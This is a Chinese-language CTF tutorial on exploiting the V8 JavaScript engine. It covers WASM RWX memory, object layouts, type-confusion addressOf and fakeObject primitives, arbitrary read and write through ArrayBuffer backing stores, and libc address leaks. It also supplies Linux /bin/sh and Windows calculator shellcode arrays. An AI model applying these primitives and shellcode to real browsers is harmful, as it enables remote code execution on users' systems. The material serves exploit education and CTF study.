首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?
一般在做 CTF 的时候,往往希望让远程执行 system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0) 又或者 ORW ,除了最后一个外,往往一般是希望能够做到远程命令执行,所以一般通过 v8 漏洞也希望能够做到这一点。一般来说,我们希望能往里面写入shellcode,毕竟栈溢出之类的操作在 v8 下似乎不太可能完成。
WASM的利用 既然要写 shellcode,就需要保证内存中存在可读可写可执行的内存段了。在没有特殊需求的情况下,程序不可能特地开辟一块这样的内存段供用户使用,但在如今支持 WASM(WebAssembly) 的浏览器版本中,一般都需要开辟一块这样的内存用以执行汇编指令,回想上一节给出的测试代码:
1 2 3 4 5 6 7 8 9 %SystemBreak(); var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(f); %DebugPrint(wasmInstance); %SystemBreak();
此处调用了 WebAssembly 模块为 WASM 创建专用的内存段,当我们执行到第二个断点后,通过 “vmmap” 指令可以发现内存中多了一个特殊的内存段:
1 2 pwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]
那么现在这段内存就能够为我们所用了。如果我们向其中写入 shellcode ,日后在执行 WASM 时就会转而执行我们写入的攻击代码了
由于 v8 一般都是开启了所有保护的,为此我们需要像 CTF 题那样先泄露地址,然后再达成任意地址写
这里会有一个疑问,既然是浏览器,难道不能自己构建WASM直接拿下吗?怎么还需要自己去写 shellcode?
结论是,WASM不允许执行需要系统调用才能完成的操作。 更准确的说,WASM并不是汇编代码,而是 v8 会根据这段数据生成一段汇编然后加载到内存段中去执行,而检查该代码是否存在系统调用就发生在这一步。 如果通过构造合法的WASM使其创造内存段,然后在之后的操作里写入非法的 Shellcode,就能够完成利用了。
高版本的变化 这里有一个不得不说的问题是,在后来的版本中,不会再开辟这样的内存段了
我们可以先看看现在这个内存段中放入的数据是什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d] pwndbg> tel 0x226817c0d000 20 00:0000│ 0x226817c0d000 ◂— jmp 0x226817c0d480 /* 0xcccccc0000047be9 */ 01:0008│ 0x226817c0d008 ◂— int3 /* 0xcccccccccccccccc */ ... ↓ 6 skipped 08:0040│ 0x226817c0d040 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 09:0048│ 0x226817c0d048 —▸ 0x55b126522940 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x2d6 0a:0050│ 0x226817c0d050 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 0b:0058│ 0x226817c0d058 —▸ 0x55b126522980 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x2d8 0c:0060│ 0x226817c0d060 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 0d:0068│ 0x226817c0d068 —▸ 0x55b1265229c0 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x2da 0e:0070│ 0x226817c0d070 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 0f:0078│ 0x226817c0d078 —▸ 0x55b126522a00 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x2dc 10:0080│ 0x226817c0d080 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 11:0088│ 0x226817c0d088 —▸ 0x55b126522a40 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x2de 12:0090│ 0x226817c0d090 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 13:0098│ 0x226817c0d098 —▸ 0x55b126522a80 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x2e0
接下来笔者换到了截至至 2022.7.5 为止的最新版,我们再次重复之前的操作,看看这次 WASM 被放到了哪里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> vmmap 0x88d46808000 0x88d46809000 r-xp 1000 0 [anon_88d46808] pwndbg> tel 0x88d46808000 20 00:0000│ 0x88d46808000 ◂— jmp 0x88d46808580 01:0008│ 0x88d46808008 ◂— int3 ... ↓ 6 skipped 08:0040│ 0x88d46808040 ◂— jmp qword ptr [rip + 2] 09:0048│ 0x88d46808048 —▸ 0x7f7da298ca80 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x31e 0a:0050│ 0x88d46808050 ◂— jmp qword ptr [rip + 2] 0b:0058│ 0x88d46808058 —▸ 0x7f7da298cac0 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x320 0c:0060│ 0x88d46808060 ◂— jmp qword ptr [rip + 2] 0d:0068│ 0x88d46808068 —▸ 0x7f7da298cb00 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x322 0e:0070│ 0x88d46808070 ◂— jmp qword ptr [rip + 2] 0f:0078│ 0x88d46808078 —▸ 0x7f7da298cb40 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x324 10:0080│ 0x88d46808080 ◂— jmp qword ptr [rip + 2] 11:0088│ 0x88d46808088 —▸ 0x7f7da298cb80 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x326 12:0090│ 0x88d46808090 ◂— jmp qword ptr [rip + 2] 13:0098│ 0x88d46808098 —▸ 0x7f7da298cbc0 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x328 pwndbg>
这段新增的内存段内容是完全相同的,但区别在于,高版本下的 WASM 内存段不再可写了,只有可读可执行权限,似乎不再能这样攻击了
不过最开始的学习总归是从低版本向着高版本发展,接下来的内容也将以 “9.6.180.6” 版本为准,就像最开始学习 PWN 时从 Glibc2.23 开始那样(不过我估计有的大佬会从更低的版本开始……)
数据储存方式 用下面的脚本简单看看每个对象在内存中是如何储存的:
1 2 3 4 5 6 7 8 9 10 11 //demo.js %SystemBreak(); a= [2.1]; b={"a":1}; c=[b]; d=[1,2,3]; %DebugPrint(a); %DebugPrint(b); %DebugPrint(c); %DebugPrint(d); %SystemBreak();
JSArray:a 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> job 0x31f3080499c9 0x31f3080499c9: [JSArray] - map: 0x31f308203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x31f3081cc0e9 <JSArray[0]> - elements: 0x31f3080499b9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f3080048f1: [String] in ReadOnlySpace: #length: 0x31f30814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x31f3080499b9 <FixedDoubleArray[1]> { 0: 2.1 } pwndbg> x/8xw 0x31f3080499c9-1 0x31f3080499c8: 0x08203ae1 0x0800222d 0x080499b9 0x00000002 0x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002
可以看出,一个 JSArray 在内存中的布局如下:
1 32bit map addr 32bit properties addr 32bit elements addr 32bit length
而其 elements 结构体的内存布局如下:
1 2 3 4 5 6 7 8 9 pwndbg> job 0x31f3080499b9 0x31f3080499b9: [FixedDoubleArray] - map: 0x31f308002a95 <Map> - length: 1 0: 2.1 pwndbg> x/12xw 0x31f3080499b9-1 0x31f3080499b8: 0x08002a95 0x00000002 0xcccccccd 0x4000cccc 0x31f3080499c8: 0x08203ae1 0x0800222d 0x080499b9 0x00000002 0x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002
1 32bit map addr 32bit length 64bit value
并且我们可以注意到,elements+0x10=&a,这说明这两个结构体在内存上相邻,如果 elements 的内容溢出了,就有可能覆盖 DoubleArray 结构体中的数据
1 2 32bit map addr 32bit length 64bit value elements 32bit map addr 32bit properties addr 32bit elements addr 32bit length jsarray
如上一节所说过的一样,这里的 length 也都被乘以二了
JS_OBJECT_TYPE:b 1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> job 0x31f3080499d9 0x31f3080499d9: [JS_OBJECT_TYPE] - map: 0x31f308207aa1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x31f3081c41f5 <Object map = 0x31f3082021b9> - elements: 0x31f30800222d <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f308007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object } pwndbg> x/8xw 0x31f3080499d9-1 0x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002 0x31f3080499e8: 0x08005c11 0x00010001 0x00000000 0x080021f9
大致的内存结构如下:
1 32bit map addr 32bit properties addr 32bit elements addr 32bit length
但这个结构体的 elements 就没有和 JS_OBJECT_TYPE 相邻了,因此一般不存在可利用的地方
JSArray:c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> job 0x31f308049a11 0x31f308049a11: [JSArray] - map: 0x31f308203b31 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x31f3081cc0e9 <JSArray[0]> - elements: 0x31f308049a05 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f3080048f1: [String] in ReadOnlySpace: #length: 0x31f30814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x31f308049a05 <FixedArray[1]> { 0: 0x31f3080499d9 <Object map = 0x31f308207aa1> } pwndbg> job 0x31f308049a05 0x31f308049a05: [FixedArray] - map: 0x31f308002205 <Map> - length: 1 0: 0x31f3080499d9 <Object map = 0x31f308207aa1> pwndbg> x/20xw 0x31f308049a05-1 0x31f308049a04: 0x08002205 0x00000002 0x080499d9 0x08203b31 0x31f308049a14: 0x0800222d 0x08049a05 0x00000002 0x00000000
同为 JSArray 实体,因此内存布局与变量 a 相同,但不同的是,由于 a 中存放的是 double 类型的浮点数,其 value 占用 64bit,而变量 c 中存放的是地址,由于地址压缩的缘故,其 value 只占用 32bit,但同样与 JSArray 结构体在内存上相邻
JSArray:d 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> job 0x18e808049a21 0x18e808049a21: [JSArray] - map: 0x18e808203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x18e8081cc0e9 <JSArray[0]> - elements: 0x18e8081d31ed <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x18e80800222d <FixedArray[0]> - All own properties (excluding elements): { 0x18e8080048f1: [String] in ReadOnlySpace: #length: 0x18e80814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x18e8081d31ed <FixedArray[3]> { 0: 1 1: 2 2: 3 } pwndbg> job 0x18e8081d31ed 0x18e8081d31ed: [FixedArray] in OldSpace - map: 0x18e808002531 <Map> - length: 3 0: 1 1: 2 2: 3 pwndbg> x/8xw 0x18e8081d31ed-1 0x18e8081d31ec: 0x08002531 0x00000006 0x00000002 0x00000004 0x18e8081d31fc: 0x00000006 0x08003259 0x00000000 0x081d31ed
整数和浮点数数组没有什么差别,但它们在内存上不再相邻了,并且需要注意的是,其储存的数据也都被乘以二了,因此后续的利用中往往需要用浮点数去溢出,而不能直接了当的用整数数据溢出
类型识别 既然 a、c、d 三个变量都是 JSArray,肯定还需要一个结构用来区别其中储存的数据类型
我们尝试读取 a 和 d 两个数组的 map 结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> job 0x18e808203a41 0x18e808203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x18e8080023b5 <undefined> - prototype_validity cell: 0x18e808142405 <Cell value= 1> - instance descriptors #1: 0x18e8081cc59d <DescriptorArray[1]> - transitions #1: 0x18e8081cc5b9 <TransitionArray[4]>Transition array #1: 0x18e80800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x18e808203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype: 0x18e8081cc0e9 <JSArray[0]> - constructor: 0x18e8081cbe85 <JSFunction Array (sfi = 0x18e80814adc9)> - dependent code: 0x18e8080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 pwndbg> job 0x18e808203ae1 0x18e808203ae1: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x18e808203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x18e808142405 <Cell value= 1> - instance descriptors #1: 0x18e8081cc59d <DescriptorArray[1]> - transitions #1: 0x18e8081cc5e9 <TransitionArray[4]>Transition array #1: 0x18e80800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x18e808203b09 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x18e8081cc0e9 <JSArray[0]> - constructor: 0x18e8081cbe85 <JSFunction Array (sfi = 0x18e80814adc9)> - dependent code: 0x18e8080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
注意到 map 结构体中存在一项成员用以标注 elements 类型:
1 - elements kind: PACKED_DOUBLE_ELEMENTS
并且两个都是 JS_ARRAY_TYPE,大多数数据都是相同的,因此可以直接将一个变量的 map 地址赋给另外一个变量,使得在读取值时错误解析数据类型,也就是所谓的“类型混淆”
类型混淆是有可能造成地址泄露的,可以考虑这样的代码:
1 2 3 4 5 float_arr= [2.1]; obj_arr=[float_arr]; %DebugPrint(a); %DebugPrint(b); %SystemBreak();
正常访问 obj_arr[0] 会得到一个对象,但如果修改 obj_arr 的 map 为 float_arr 的 map,就会认为 obj_arr 是一个浮点数数组,那么此时访问 obj_arr[0] 就会得到对象 float_arr 的地址了
注:对于没有接触过 Java 或 JavaScript 的读者来说可能会产生困惑,为什么需要通过这种麻烦的方式来获取地址,而不能像 C/C++ 那样直接把对象地址打印出来?
简单来说,就是 JavaScript 不支持这种操作,它将一切视为对象或整数,消除了所谓“地址”的概念。 对 JavaScript 来说,例子中的 obj_arr[0] 储存的是一个 “对象” 而非 “地址” ,访问该对象的返回值必然会是一个具体的 “对象” 。(哪怕我们通过调试能够发现,它储存的就是一个地址,但在代码层面,我们没有获取该值的手段)
任意变量地址读 正如我们上一节所说,JavaScript 不允许我们直接读取某一个地址,但通过 “类型混淆” 的方法能够让 v8引擎 将一个地址误认为整数,并将其读出
addressOf 同上所述,我们讲这种类型混淆的读取地址方法称之为 “addressOf”
其一般的写法如下:
1 2 3 4 5 6 7 8 9 10 11 12 //获取某个变量的地址 var other={"a":1}; var obj_array=[other]; var double_array=[2.1]; var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值 function addressOf(target_var) { obj_array[0]=target_var; obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型 return target_var_addr;//此处返回的是 target_var 的对象结构体地址 }
该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象
fakeObject 与 addressOf 的步骤相反,将 float_arr 的 map 改为 obj_arr 的 map,使得在访问 float_arr[0] 时得到一个以 float_arr[0] 地址为起始的对象
1 2 3 4 5 6 7 8 9 10 11 12 //将某个地址转换为对象 var other={"a":1}; var obj_array=[other]; var double_array=[2.1]; var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值 function fakeObject(target_addr) { double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值 double_array.setMap(obj_array_map); let fake_obj=double_array[0]; return fake_obj; }
该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象
任意地址读 可以尝试构造出这样一个结构:
1 var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];
其在内存中的布局应为:
1 2 32bit elements map 32bit length 64bit double_array_map 64bit 0x4141414141414141 element 32bit fake_array map 32bit properties 32bit elements 32bit length JSArray
接下来通过 addressOf 获取 fake_array 的地址,然后就能够计算出 double_array_map 的地址;再通过 fakeObject 将这个地址伪造成一个对象数组,对比下面的内存布局:
1 32bit map addr 32bit properties addr 32bit elements addr 32bit length JSArray
此处的 fake_array[0] 成为了 JSArray 的 map 和 properties ,fake_array[1] 被当作了 elements addr 和 length,通过修改 fake_array[1] 就能够使该 elements 指向任意地址,再访问 fakeObject[0] 即可读取该地址处的数据了(此处 double_array_map 需要对应为一个 double 数组的 map)
代码逻辑大致如下:
1 2 3 4 5 6 7 8 9 10 11 var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4 function read64_addr(addr) { var fake_array_addr=addressOf(fake_array); var fake_object_addr=fake_array_addr-0x10n; var fake_object=fakeObject(fake_object_addr); fake_array[1]=int_to_float(addr-8n+1n); return fake_object[0]; }
任意地址写 同上一小节一样,只需要将最后的 return 修改为写入即可:
1 2 3 4 5 6 7 8 9 10 var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4 function write64_addr(addr,data) { var fake_array_addr=addressOf(fake_array); var fake_object_addr=fake_array_addr-0x10n; var fake_object=fakeObject(fake_object_addr); fake_array[1]=int_to_float(addr-8n+1n); fake_object[0]=data; }
写入shellcode 参考了几篇其他师傅们所写的博客后,会发现目前所实现的任意地址写并不能正常工作,大致原因如下:
设置的 elements 地址为 addr-8n+1n,我们想要写 shellcode 的地址一般都是内存段在开头,那么更前面的内存空间则是未开辟的,写入时会因为访问未开辟的内存空间发生异常
另外一个原因是,在尝试写 d8 的 free_hook 或 malloc_hook 时,由于其地址都是以 0x7f 开头,而 Double 类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点尚未确定,仅作记录)
因此直接性的写入不太能够成功,但间接性的方法或许还是存在的,如果向某个对象中写入数据不需要经过 map 和 length,或许就能够顺利完成了。
不过 JavaScript 还真的提供了这样的操作:
1 2 3 4 5 6 var data_buf = new ArrayBuffer(0x10); var data_view = new DataView(data_buf); data_view.setFloat64(0, 2.0, true); %DebugPrint(data_buf); %DebugPrint(data_view); %SystemBreak();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pwndbg> job 0x1032080499e5 0x1032080499e5: [JSArrayBuffer] - map: 0x103208203271 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1032081ca361 <Object map = 0x103208203299> - elements: 0x10320800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x56504b1f89d0 - byte_length: 16 - max_byte_length: 16 - detachable - properties: 0x10320800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> job 0x103208049a25 0x103208049a25: [JSDataView] - map: 0x103208202ca9 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1032081c8665 <Object map = 0x103208202cd1> - elements: 0x10320800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - buffer =0x1032080499e5 <ArrayBuffer map = 0x103208203271> - byte_offset: 0 - byte_length: 16 - properties: 0x10320800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> tel 0x56504b1f89d0 00:0000│ 0x56504b1f89d0 ◂— 0x4000000000000000 01:0008│ 0x56504b1f89d8 ◂— 0x0 pwndbg> x/20wx 0x1032080499e5-1 0x1032080499e4: 0x08203271 0x0800222d 0x0800222d 0x00000010 0x1032080499f4: 0x00000000 0x00000010 0x00000000 0x4b1f89d0
可以注意到,JSDataView 的 buffer 指向了 JSArrayBuffer,而 JSArrayBuffer 的 backing_store 则指向了实际的数据储存地址,那么如果我们能够写 backing_store 为 shellcode 内存段,就可以通过 JSDataView 的 setFloat64 方法直接写入了
而该成员在 data_buf+0x1C 处
每个成员的地址偏移都会因为版本而迁移,这一点还请读者以自己手上的版本为准
1 2 3 4 5 6 7 8 9 function shellcode_write(addr,shellcode) { var data_buf = new ArrayBuffer(shellcode.lenght*8); var data_view = new DataView(data_buf); var buf_backing_store_addr=addressOf(data_buf)+0x18n; write64_addr(buf_backing_store_addr,addr); for (let i=0;i<shellcode.length;++i) data_view.setFloat64(i*8,int_to_float(shellcode[i]),true); }
该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象 并且由于数据压缩的原因,获取 buf_backing_store_addr 的操作有可能不只是一次 addressOf 即可完成的,需要将低位和高位分别读出然后合并为 64 位地址后再写入,这里只做逻辑抽象,具体实践在以后的章节中另外补充
然后是获取写入内存段的地址了,回到开始的这个脚本:
1 2 3 4 5 6 7 8 var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(f); %DebugPrint(wasmInstance); %SystemBreak();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> job 0x3e63081d35bd 0x3e63081d35bd: [WasmInstanceObject] in OldSpace - map: 0x3e6308207399 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3e6308048079 <Object map = 0x3e6308207af1> - elements: 0x3e630800222d <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x3e6308049cb1 <Module map = 0x3e6308207231> - exports_object: 0x3e6308049e65 <Object map = 0x3e6308207bb9> - native_context: 0x3e63081c3649 <NativeContext[252]> - memory_object: 0x3e63081d35a5 <Memory map = 0x3e6308207641> - table 0: 0x3e6308049e35 <Table map = 0x3e63082074b1> - imported_function_refs: 0x3e630800222d <FixedArray[0]> - indirect_function_table_refs: 0x3e630800222d <FixedArray[0]> - managed_native_allocations: 0x3e6308049ded <Foreign> - memory_start: 0x7f6b18000000 - memory_size: 65536 - imported_function_targets: 0x55b235cab0e0 - globals_start: (nil) - imported_mutable_globals: 0x55b235cab210 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x3e630800222d <FixedArray[0]> - All own properties (excluding elements): {} pwndbg> tel 0x3e63081d35bd-1 30 00:0000│ 0x3e63081d35bc ◂— 0x800222d08207399 01:0008│ 0x3e63081d35c4 ◂— 0x800222d0800222d /* '-"' */ 02:0010│ 0x3e63081d35cc ◂— 0x800222d /* '-"' */ 03:0018│ 0x3e63081d35d4 —▸ 0x7f6b18000000 ◂— 0x0 04:0020│ 0x3e63081d35dc ◂— 0x10000 05:0028│ 0x3e63081d35e4 —▸ 0x55b235c861b0 —▸ 0x7ffd839ca5f0 ◂— 0x7ffd839ca5f0 06:0030│ 0x3e63081d35ec —▸ 0x55b235cab0e0 ◂— 0x0 07:0038│ 0x3e63081d35f4 ◂— 0x0 ... ↓ 2 skipped 0a:0050│ 0x3e63081d360c —▸ 0x55b235cab210 —▸ 0x7f6d2e41cbe0 (main_arena+96) —▸ 0x55b235d28080 ◂— 0x0 0b:0058│ 0x3e63081d3614 —▸ 0x55b235c86190 —▸ 0x3e6300000000 ◂— sub rsp, 0x80 0c:0060│ 0x3e63081d361c —▸ 0x1998dd4f3000 ◂— jmp 0x1998dd4f3480 /* 0xcccccc0000047be9 */
可以注意到在 wasmInstance+0x68 处保存了内存段的起始地址,读取该处即可
泄露地址手记 目前为止都是通过自定义一部分变量完成地址泄露的,但这个地址只是某个匿名内存段罢了
1 0x271c08040000 0x271c0814d000 rw-p 10d000 0 [anon_271c08040]
因为 WASM 是我们自己定义的,所以还能通过某些方法拿到地址,但如果我们现在不想写 shellcode,想像常规的 PWN 那样去写 free_hook 或者 GOT 表时,该如何泄露地址?
一个是随机泄露,从某个变量随机的往上一个个测试偏移地址,但很显然,在开启了 ASLR 的情况下,效率太低还不稳定,因此主要通过另外一个较为稳定的方式泄露地址:
JSArray结构体–> Map结构体–>constructor结构体–>code属性地址–>code内存地址的固定偏移处保存了 v8 的二进制指令地址–>v8 的 GOT 表–> libc基址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> job 0x34d808049979 0x34d808049979: [JSArray] - map: 0x34d808203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] pwndbg> job 0x34d808203ae1 0x34d808203ae1: [Map] - type: JS_ARRAY_TYPE - constructor: 0x34d8081cbe85 <JSFunction Array (sfi = 0x34d80814adc9)> pwndbg> job 0x34d8081cbe85 0x34d8081cbe85: [Function] in OldSpace - map: 0x34d808203a19 <Map(HOLEY_ELEMENTS)> [FastProperties] - code: 0x34d800185501 <Code BUILTIN ArrayConstructor> pwndbg> tel 0x34d800185501-1+0x7EBAB00 30 00:0000│ 0x34d808040000 ◂— 0x40000 01:0008│ 0x34d808040008 ◂— 0x12 02:0010│ 0x34d808040010 —▸ 0x55cca1732560 ◂— 0x0 03:0018│ 0x34d808040018 —▸ 0x34d808042118 ◂— 0x608002205 04:0020│ 0x34d808040020 —▸ 0x34d808080000 ◂— 0x40000 05:0028│ 0x34d808040028 ◂— 0x3dee8 06:0030│ 0x34d808040030 ◂— 0x0 07:0038│ 0x34d808040038 ◂— 0x2118 08:0040│ 0x34d808040040 —▸ 0x55cca17b4258 —▸ 0x55cc9f7a5d20 —▸ 0x55cc9e9ba260 ◂— push rbp pwndbg> vmmap LEGEND: STACK HEAP CODE DATA RWX RODATA 0x55cc9e121000 0x55cc9e954000 r--p 833000 0 /path/d8 0x55cc9e954000 0x55cc9f793000 r-xp e3f000 832000 /path/d8 0x55cc9f793000 0x55cc9f7fb000 r--p 68000 1670000 /path/d8 0x55cc9f7fb000 0x55cc9f80c000 rw-p 11000 16d7000 /path/d8
可以注意到,顺着这个地址链查下去,最终能找到地址 0x55cc9e9ba260 ,该地址对应了 d8 的二进制程序中的代码地址,而整个 d8 在内存中是连续的,因此可以找到其 GOT 表,然后再从中得到 libc 的机制,最后即可覆盖 free_hook 或 free 的 got 表为 system 或 one gadget
尾声 最后补充一下可用的 shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 //Linux x64 var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; //Windows 计算器 var shellcode = [ 0xc0e8f0e48348fcn, 0x5152504151410000n, 0x528b4865d2314856n, 0x528b4818528b4860n, 0xb70f4850728b4820n, 0xc03148c9314d4a4an, 0x41202c027c613cacn, 0xede2c101410dc9c1n, 0x8b20528b48514152n, 0x88808bd001483c42n, 0x6774c08548000000n, 0x4418488b50d00148n, 0x56e3d0014920408bn, 0x4888348b41c9ff48n, 0xc03148c9314dd601n, 0xc101410dc9c141acn, 0x244c034cf175e038n, 0x4458d875d1394508n, 0x4166d0014924408bn, 0x491c408b44480c8bn, 0x14888048b41d001n, 0x5a595e58415841d0n, 0x83485a4159415841n, 0x4158e0ff524120ecn, 0xff57e9128b485a59n, 0x1ba485dffffn, 0x8d8d480000000000n, 0x8b31ba4100000101n, 0xa2b5f0bbd5ff876fn, 0xff9dbd95a6ba4156n, 0x7c063c28c48348d5n, 0x47bb0575e0fb800an, 0x894159006a6f7213n, 0x2e636c6163d5ffdan, 0x657865n, ];
另外,上述代码中的 int_to_float 等函数需要自行定义,实现如下:
1 2 3 4 5 6 7 8 9 10 11 function float_to_int(f) { f64[0] = f; return bigUint64[0]; } function int_to_float(i) { bigUint64[0] = i; return f64[0]; }
插画作者:Mike Poe-mjcr24.artstation.com